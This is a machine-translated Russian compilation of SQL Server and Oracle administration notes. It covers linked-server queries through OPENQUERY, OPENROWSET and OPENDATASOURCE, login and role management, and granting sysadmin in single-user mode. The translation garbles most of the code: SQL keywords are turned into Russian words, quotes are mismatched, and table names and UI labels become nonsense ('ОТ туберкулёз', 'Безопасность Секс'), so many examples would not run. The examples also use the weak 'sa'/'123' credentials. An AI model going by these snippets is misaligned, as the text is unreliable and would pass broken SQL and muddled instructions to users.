Имя сервиса, настроенное в файле tnsnames.ora, например ORCL
6. Строка интерфейса доступа: userid=sys как sysdba; пароль=пароль
7. На странице Select Options Security используйте этот контекст установки для установки соединения:
a) Удалённый вход: пользователь (другой пользователь, не системный)
b)
Используйте пароль: пароль
8. Установите «NT AUTHORITY\SYSTEM» на локальном входе, удалённый пользовательский SYS и установите пароль
9.
Уверен
6) Существует два способа написания SQL
a) Использование синтаксиса T-SQL:
ВЫБРАТЬ * ИЗ
OraTest.ERP.BAS_ITEM_CLASS
Обратите внимание, что при вводе SQL-операторов в SQL Query Analyzer обратите внимание на китайское переключение полной и половинной ширины
Уэй!
b) Используйте синтаксис PLSQL: SELECT * FROM openquery(OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
c) Второй способ доступа примерно на 50% быстрее первого; Второй способ доступа связан напрямую
ORACLE сопоставим; Первый способ доступа может привести к некоторым неожиданным ошибкам, таким как: Таблица не существует, как и текущий пользователь
Нет доступа к столу и так далее.
г) Если столбец использует типы данных без точности, оба этих варианта
Это ошибка ORACLE, которую нельзя исправить, и её можно избежать только с помощью специальной обработки запросных операторов:
Метаданные, предоставленные поставщиком OLE DB 'OraOLEDB.Oracle' для столбцов, непоследовательны. Информация о метаданных изменяется при выполнении.
Добавлен mssql
Удалите пользователя и предоставите разрешения
Используйте имя своей библиотеки Иди --Добавить пользователей exec sp_addlogin 'test' — добавить логин Исполнительный
sp_grantdbaccess N'test' — что делает её легитимным пользователем текущей базы данных исполнительный sp_addrolemember N'db_owner',
N'test' — предоставляет все права на собственную базу данных --Это создаёт пользователей, которые могут получить доступ только к своей базе данных и тому, что в ней входит
Публичная таблица для гостевых пользователей Иди --Удалить тестового пользователя exec sp_revokedbaccess N'test' — Удалить доступ к базе данных
Предел exec sp_droplogin N'test' — удалить вход Если вы создаёте его в Enterprise Manager, используйте: Enterprise Manager — Безопасность
Секс — Правый клик Вход — Новый вход Общие материалы --Введите имя пользователя в имя
--Метод аутентификации выбирается в соответствии с вашими потребностями (если вы используете аутентификацию Windows, сначала нужно создать нового пользователя среди пользователей операционной системы)
--В настройках по умолчанию выберите имя базы данных, к которому хотите получить доступ для нового пользователя Элемент роли сервера Не выбирай ничего в этом база данных
Элемент доступа Проверьте название базы данных, к которой хотите получить доступ для созданного пользователя Разрешите роль базы данных, отметьте «публичный», «db_ownew» Конечно, вот это
Пользователь, созданный по образцу, совпадает с пользователем, созданным вышеуказанным утверждением
Последний шаг — установить конкретные права доступа для конкретных пользователей, которые можно привести к следующему минимальному примеру:
--Добавьте пользователей, которым разрешено доступ только к указанной таблице: exec sp_addlogin «имя пользователя», «пароль», «имя базы данных по умолчанию»
--добавить в базу данных exec sp_grantdbaccess 'username'
--Назначить разрешения всей таблицы ВЫДЕЛИТЬ , ВСТАВИТЬ, ОБНОВИТЬ , УДАЛИТЬ таблицу 1 в [имя пользователя] --Назначить права на конкретные столбцы ПРЕДОСТАВЛЕНИЕ ВЫБОРА , ОБНОВЛЕНИЕ таблицы 1(id,AA) до [имя пользователя]
Для конкретных настроек безопасности и теоретических знаний, пожалуйста, обратитесь к справке по SQL Online
Фиксированное описание роли базы данных db_owner Имейте полные права в базе данных.
db_accessadmin Вы можете добавлять или удалять идентификаторы пользователей.
db_securityadmin Может управлять полными правами, владением объектами, ролями и членством в ролях.
db_ddladmin могут выдавать ВСЕ заявления DDL, но не GRANT, REVOKE или DENY.
db_backupoperator может выдавать DBCC, CHECKPOINT и BACKUP операторы.
db_datareader Вы можете выбрать все данные из любой пользовательской таблицы базы данных.
db_datawriter Вы можете изменить все данные в любой пользовательской таблице базы данных.
db_denydatareader Вы не можете выбрать данные из пользовательской таблицы базы данных.
db_denydatawriter Вы не можете изменить данные ни в одной пользовательской таблице базы данных.
Вам стоит выбрать db_datareader, db_datawriter db_accessadmin
5. После запуска экземпляра SQL Server в режиме одного пользователя учётная запись администратора Windows может использовать инструмент sqlcmd для подключения в режиме аутентификации Windows
SQL Server。 Вы можете использовать команды T-SQL, такие как "sp_addsrvrolemember", чтобы добавить существующий логин в роль сервера системного администратора
Или создать новый аккаунт для входа. Пример утверждения следующий:
EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'системный администратор';
ВПЕРЁД
Добавить право системного администратора
(1) Управление ролями сервера
В SQL Server существуют две основные хранимые процедуры, реализующие управление ролями SQL Server:
sp_addsrvrolemember
и sp_dropsrvrolemember
sp_addsrvrolemember Вы можете добавить аккаунт входа в роль сервера, чтобы сделать её членом этой роли. Синтаксис таков: sp_addsrvrolemember
Вход , роль
sp_dropsrvrolemember Вы можете удалить аккаунт входа из роли сервера, и когда участник удаляется из роли сервера, у него больше нет этой роли сервера
Разрешения установлены. Синтаксис таков: sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'
В это ввод
@loginname — это имя авторизованного пользователя; @rolename — это серверная роль.
(2) Управление ролями базы данных
В SQL Server поддерживается управление базами данных
Существует шесть основных типов хранимых процедур, и их конкретные значения и синтаксис следующие:
sp_addrole: используется для создания новой роли в базе данных; sp_addrole
Роль, владелец
sp_droprole: Используется для удаления роли базы данных из текущей роли базы данных; sp_droprole роль
sp_helprole:
Он используется для отображения всей информации обо всех ролях базы данных в текущей базе данных; sp_helprole ['роль']
sp_addrolemember: Используется для отправки в базу данных
Добавьте пользователей базы данных в роль, которая может быть стандартными ролями, определяемыми пользователем или фиксированными ролями базы данных, но не может быть такой
Роли в подаче заявок. sp_addrolemember роль, security_account
sp_droprolemember: использовался для удаления определённого персонажа
хозяйство; sp_droprolemember роль, security_account
sp_helprolemember: Используется для отображения всех членов роли базы данных
。 sp_helprolemember ['роль']
Запрос MSSQL LINKSERVER
---------------------------------------------------------------------------------- -- Автор:
htl258(Тони) -- Дата: 2010-06-25 22:23:18 -- Версия: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86) -- 9 июля 2008 14:43:34 -- Авторские права (c) 1988-2008 Microsoft Corporation --
Developer Edition на Windows NT 5.1 (Build 2600: Service Pack 2) -- Блог: -- Тема: Операции с данными SQL между разными серверными базами данных ---------------------------------------------------------------------------------- --1. Создать сервер ссылок --1.1 Создать имя ссылки EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB',' имя удалённого сервера
или IP-адреса» — Если у вас есть собственное имя экземпляра, добавьте «\instance name»
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Создайте логин (или создайте карту входа на сервер связей) (просто выберите один способ) --1.2.1 Вход с помощью аутентификации Windows EXEC sp_addlinkedsrvlogin 'LinkName' --или EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 Войдите с помощью SQL-аутентификации EXEC sp_addlinkedsrvlogin 'LinkName','false', NULL,'Username','Password'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink','false', null,'sa','123' */ --2. Операции с данными, связанные с сервером связей --2.1 Пример запроса SELECT * FROM LinkName.database name.schema name.table name
/*例如:SELECT *
ОТ TonyLink.Mydb.dbo.tb */ -- 2.2 Пример импорта SELECT * INTO Table name FROM LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb
ОТ TonyLink.Mydb.dbo.tb */ -- 2.3 Пример обновления ОБНОВЛЕНИЕ LinkName.Database Name.Schema Name.Table Name SET поле='значение' WHERE field='condition'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET Персоны='g' ГДЕ Лица='a' */ -- 2.4 Удаление примеров УДАЛИТЬ LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE
TonyLink.Mydb.dbo.tb ГДЕ Лица='g' */ --3 через функцию rowset (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Метод
- 3.1 Метод OPENQUERY (требуется помощь только что созданного вами сервера ссылок): -- 3.1.1 Пример запроса SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM NAME базы данных). Название архитектуры. название таблицы')
/* Например: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 Примеры импорта --3.1.2.1 Импортировать все столбцы INSERT OPENQUERY(LinkName, 'SELECT * FROM name database). Название архитектуры. Название таблицы
') ВЫБРАТЬ * ИЗ локальной таблицы
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
ИЗ TB */ --3.1.2.2 Импортировать указанные столбцы INSERT OPENQUERY(LinkName, 'SELECT * FROM name database). Название архитектуры. Название таблицы') (столбец, столбец...) Столбец SELECT,
Колонка... Из локальной таблицы
/* Например: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons) ВЫБИРАТЬ
ДИАПАЗОН, УРОВЕНЬ, Лица с туберкулезом */ --3.1.3 Примеры обновления UPDATE OPENQUERY(LinkName, 'SELECT * FROM name database. Название архитектуры. название таблицы') поле SET = 'значение' ГДЕ слово
Сегмент = «Состояние»
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Персоны='a' */ --3.1.4 Удалить примеры УДАЛИТЬ OPENQUERY(LinkName, 'SELECT * FROM NAME базы данных). Название архитектуры. название таблицы') WHERE поле name='условие'
/*例
Например: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') ГДЕ Persons='g' */ --3.2 Метод OPENROWSET (не обязательно использовать имя созданной ссылки). Если имя подключённого экземпляра не является стандартным, нужно установить имя SQL сервера или IP-адрес.
"\instance name") --3.2.1 Пример запроса --3.2.1.1 Запрос метода аутентификации Windows (достаточно одного из следующих методов) ВЫБЕРИТЕ * ИЗ OPENROWSET('SQLOLEDB', 'server=имя sql сервера или
IP-адрес; Trusted_Connection=yes', название базы данных. Название архитектуры. Название таблицы) ВЫБЕРИТЕ * ИЗ OPENROWSET('SQLNCLI',
'server=имя или IP-адрес sql сервера; Trusted_Connection=yes', название базы данных. Название архитектуры. Название таблицы) ВЫБРАТЬ * ИЗ
OPENROWSET('SQLOLEDB', 'server=имя или IP-адрес сервера sql; Trusted_Connection=yes','SELECT * ИЗ базы данных
Имя. Название архитектуры. название таблицы') ВЫБЕРИТЕ * ИЗ OPENROWSET('SQLNCLI', 'server=имя или IP-адрес сервера sql
Адрес; Trusted_Connection=yes','SELECT * FROM name database. Название архитектуры. название таблицы')
/* Например: SELECT * ИЗ OPENROWSET
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)
Или: ВЫБРАТЬ * ИЗ OPENROWSET
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)
Или: ВЫБРАТЬ * ИЗ OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes','SELECT *
ИЗ Mydb.dbo.tb')
Или: ВЫБРАТЬ * ИЗ OPENROWSET('SQLNCLI,'Server=192.168.58.208; Trusted_Connection=yes','SELECT *
ИЗ Mydb.dbo.tb') */ --3.2.1.2 Запрос метода аутентификации SQL (достаточно одного из следующих методов) ВЫБЕРИТЕ * ИЗ OPENROWSET
('SQLOLEDB', 'server=имя или IP-адрес сервера sql; uid=имя пользователя; pwd=password', название базы данных. Название архитектуры. Название таблицы) ВЫБРАТЬ * ИЗ
OPENROWSET ('SQLNCLI', 'server=имя или IP-адрес sql сервера; uid=имя пользователя; pwd=password', название базы данных. Название архитектуры. Название таблицы) ВЫБЕРИТЕ * ИЗ OPENROWSET('SQLOLEDB', 'server=имя или IP-адрес сервера sql; uid=имя пользователя; pwd=password','SELECT *
Из имени базы данных. Название архитектуры. название таблицы') ВЫБЕРИТЕ * ИЗ OPENROWSET('SQLNCLI', 'server=имя или IP-адрес сервера sql; uid=
Имя пользователя; pwd=password','SELECT * FROM name database. Название архитектуры. название таблицы') ВЫБЕРИТЕ * ИЗ OPENROWSET('SQLOLEDB', 'sql
имя сервера»; «имя пользователя»; 'password', название базы данных. Название архитектуры. Название таблицы) ВЫБЕРИТЕ * ИЗ OPENROWSET('SQLNCLI', 'ИМЯ SQL СЕРВЕРА
'; «имя пользователя»; 'password', название базы данных. Название архитектуры. Название таблицы) ВЫБЕРИТЕ * ИЗ OPENROWSET('SQLOLEDB', 'ИМЯ SQL СЕРВЕРА'; ' пользователь
name'; 'Пароль', 'ВЫБРАТЬ * ИЗ имени базы данных. Название архитектуры. название таблицы') ВЫБЕРИТЕ * из openrowset('sqlncli', 'sql server
name'; «имя пользователя»; 'Пароль', 'ВЫБРАТЬ * ИЗ имени базы данных. Название архитектуры. название таблицы')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Или: ВЫБРАТЬ * ИЗ OPENROWSET
('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Или: ВЫБРАТЬ * ИЗ OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')
или: ВЫБРАТЬ * ИЗ OPENROWSET('SQLNCLI,'server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM
Mydb.dbo.tb')
или: ВЫБРАТЬ * ИЗ OPENROWSET('SQLOLEDB','192.168.58.208'; «са»; '123', mydb.dbo.tb)
или: ВЫБРАТЬ * ИЗ OPENROWSET('SQLNCLI','192.168.58.208'; «са»; '123', mydb.dbo.tb)
или: ВЫБРАТЬ * ИЗ OPENROWSET('SQLOLEDB','192.168.58.208'; «са»; '123', 'SELECT * FROM Mydb.dbo.tb')
или: ВЫБРАТЬ * ИЗ OPENROWSET('SQLNCLI','192.168.58.208'; «са»; '123', 'SELECT * FROM Mydb.dbo.tb') */ --3.2.2 Пример импорта --3.2.2.1 Импортировать все столбцы INSERT OPENROWSET('SQLOLEDB', 'server=имя или IP-адрес sql сервера
Адрес; uid=имя пользователя; pwd=password', название базы данных. Название архитектуры. Название таблицы) ВЫБРАТЬ * ИЗ локальной таблицы
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) ВЫБЕРИТЕ * ИЗ TB */ --3.2.2.2 Импорт
Указывать столбцы ВСТАВЬТЕ OPENROWSET('SQLOLEDB', 'server=имя или IP-адрес сервера sql; uid=имя пользователя; pwd=password', название базы данных. Стойка
Имя конструкции. Название таблицы) (столбец, столбец...) ВЫБЕРИТЕ столбец, столбец... Из локальной таблицы
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(ДИАПАЗОН, УРОВЕНЬ, Люди) ВЫБИРАТЬ
ДИАПАЗОН, УРОВЕНЬ, Лица с туберкулезом */ --Примечание: Для более альтернативных методов см. пример запроса .2.1, просто замените функцию OPENROWSET
Содержание достаточно. --3.2.3 Пример обновления ОБНОВИТЬ OPENROWSET('SQLOLEDB', 'server=имя или IP-адрес sql сервера; uid=имя пользователя
;p wd=password', название базы данных. Название архитектуры. Название таблицы) SET поле = 'значение' ГДЕ поле = «условие»
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SET Persons='g' ГДЕ лица='a' */ --Примечание: Для более альтернативных методов обратитесь к примеру запроса .2.1, просто замените содержимое в OPENROWSET. --3.2.4 Удалить указание
Пример УДАЛИТЬ OPENROWSET('SQLOLEDB', 'server=имя или IP-адрес сервера sql; uid=имя пользователя; pwd=password', название базы данных. Название схемы
.table name) ГДЕ имя поля='условие'
/* Например: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) ГДЕ
Персоны='g' */ --Примечание: Для более альтернативных методов см. пример запроса .2.1, просто замените содержимое в OPENROWSET. --3.3 Метод OPENDATASOURCE
(Не обязательно использовать имя созданной ссылки.) Если имя экземпляра соединения не является стандартным, нужно добавлять \instance имя после имени сервера SQL или IP-адреса
") --3.3.1 Пример запроса --3.3.1.1 Запрос метода аутентификации Windows (достаточно одного из следующих методов) ВЫБЕРИТЕ * ИЗ OPENDATASOURCE('SQLOLEDB',
'server=имя или IP-адрес sql сервера; Trusted_Connection=да»). Название базы данных. Название архитектуры. Название таблицы ВЫБРАТЬ * ИЗ
OPENDATASOURCE('SQLNCLI', 'server=имя или IP-адрес sql сервера; Trusted_Connection=да»). Название базы данных. Название архитектуры.
Название таблицы
/* Например: ВЫБРАТЬ * из opendatasource
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=да»). Mydb.dbo.tb
Или: ВЫБРАТЬ * ИЗ OPENDATASOURCE
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=да»). Mydb.dbo.tb */ --3.3.1.2 Запрос метода аутентификации SQL (достаточно одного из следующих методов) ВЫБЕРИТЕ * ИЗ OPENDATASOURCE('SQLOLEDB', 'server=имя sql сервера или
IP-адрес; uid=имя пользователя; pwd=пароль'). Имя базы данных. Название архитектуры. Название таблицы ВЫБЕРИТЕ * ИЗ OPENDATASOURCE('SQLNCLI', 'сервер=имя или IP-адрес sql сервера; uid=пользователь
Имя; pwd=пароль'). Имя базы данных. Название архитектуры. Название таблицы ВЫБЕРИТЕ * ИЗ OPENDATASOURCE('SQLOLEDB', 'Data Source=имя или IP-адрес сервера sql
Адрес; uid=имя пользователя; pwd=пароль'). Имя базы данных. Название архитектуры. Название таблицы ВЫБЕРИТЕ * ИЗ OPENDATASOURCE('SQLNCLI', 'Data Source=имя или IP-адрес сервера sql)
Адрес; uid=имя пользователя; pwd=пароль'). Имя базы данных. Название архитектуры. Название таблицы
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Или: ВЫБРАТЬ * ИЗ OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Или: ВЫБРАТЬ * ИЗ OPENDATASOURCE('SQLOLEDB','Data
Источник=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Или: ВЫБРАТЬ * ИЗ OPENDATASOURCE('SQLNCLI','Data
источник=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ Импортировать все столбцы ВСТАВЬТЕ OPENDATASOURCE('SQLOLEDB', 'server=имя или IP-адрес sql сервера; uid=имя пользователя; pwd=пароль').
Согласно названию библиотеки. Название архитектуры. Название таблицы ВЫБРАТЬ * ИЗ локальной таблицы
/* Например: INSERT OPENDATASOURCE('SQLOLEDB,'server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb ВЫБИРАТЬ
* ОТ туберкулёз */ --3.3.2.2 Импортировать указанные столбцы ВСТАВЬТЕ OPENDATASOURCE('SQLOLEDB', 'server=имя или IP-адрес sql сервера; uid=имя пользователя; pwd=пароль').
Согласно названию библиотеки. Название архитектуры. Название таблицы (столбец, столбец...) ВЫБЕРИТЕ столбец, столбец... Из локальной таблицы
/* Например: INSERT OPENDATASOURCE('SQLOLEDB,'server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(ДИАПАЗОН, УРОВЕНЬ, Лица) ВЫБЕРИТЕ ДИАПАЗОН, УРОВЕНЬ, ЛИЦА ИЗ ТУБЕРКУЛЁЗ */ --Примечание: Для более альтернативных методов см. пример запроса .3.1: просто замените содержимое в функции строк множества (OPENDATASOURCE). --3.3.3 Пример обновления ОБНОВИТЬ OPENDATASOURCE('SQLOLEDB', 'server=имя или IP-адрес sql сервера; uid=имя пользователя; pwd=пароль'). Имя базы данных. Название архитектуры. Название таблицы SET поле = 'значение' ГДЕ поле = «условие»
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET Persons='g' ГДЕ лица='a' */ --Примечание: Для более альтернативных методов см. пример запроса .3.1: просто замените содержимое в функции строк множества (OPENDATASOURCE). --3.3.4 Пример удаления УДАЛИТЬ OPENDATASOURCE('SQLOLEDB', 'server=имя или IP-адрес sql сервера; uid=имя пользователя; pwd=пароль'). Имя базы данных. Название архитектуры. Название таблицы ГДЕ имя поля='условие'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb ГДЕ лица='g' */ - Примечание: Больше альтернатив
Обратитесь к примеру запроса .3.1, просто замените содержимое в функции rowset (OPENDATASOURCE). -- Удалить метод связанного сервера --Если в будущем вы больше не будете использовать информацию о ссылках, вы можете удалить информацию о ссылке --4.1 Удалить данные для входа (или удалить карту имён входа на связанный сервер) EXEC sp_droplinkedsrvlogin 'LinkName',NULL
/* Например: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Удалить имя связанного сервера EXEC sp_dropserver 'LinkName','droplogins' — если указаны droplogin, Карту входа необходимо удалить перед удалением связанного сервера
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Прикреплён
: Как получить имя провайдера (EXEC master). xp_enum_oledb_providers) ВЫБРАТЬ CAST([Имя провайдера] AS
VARCHAR(30)) ProviderName, CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion ОТ
OPENROWSET( 'SQLOLEDB', 'Сервер=.; Trusted_Connection=да', «ЗАПУСТИТЕ FMTONLY; EXEC
Мастер... xp_enum_oledb_providers'
)
|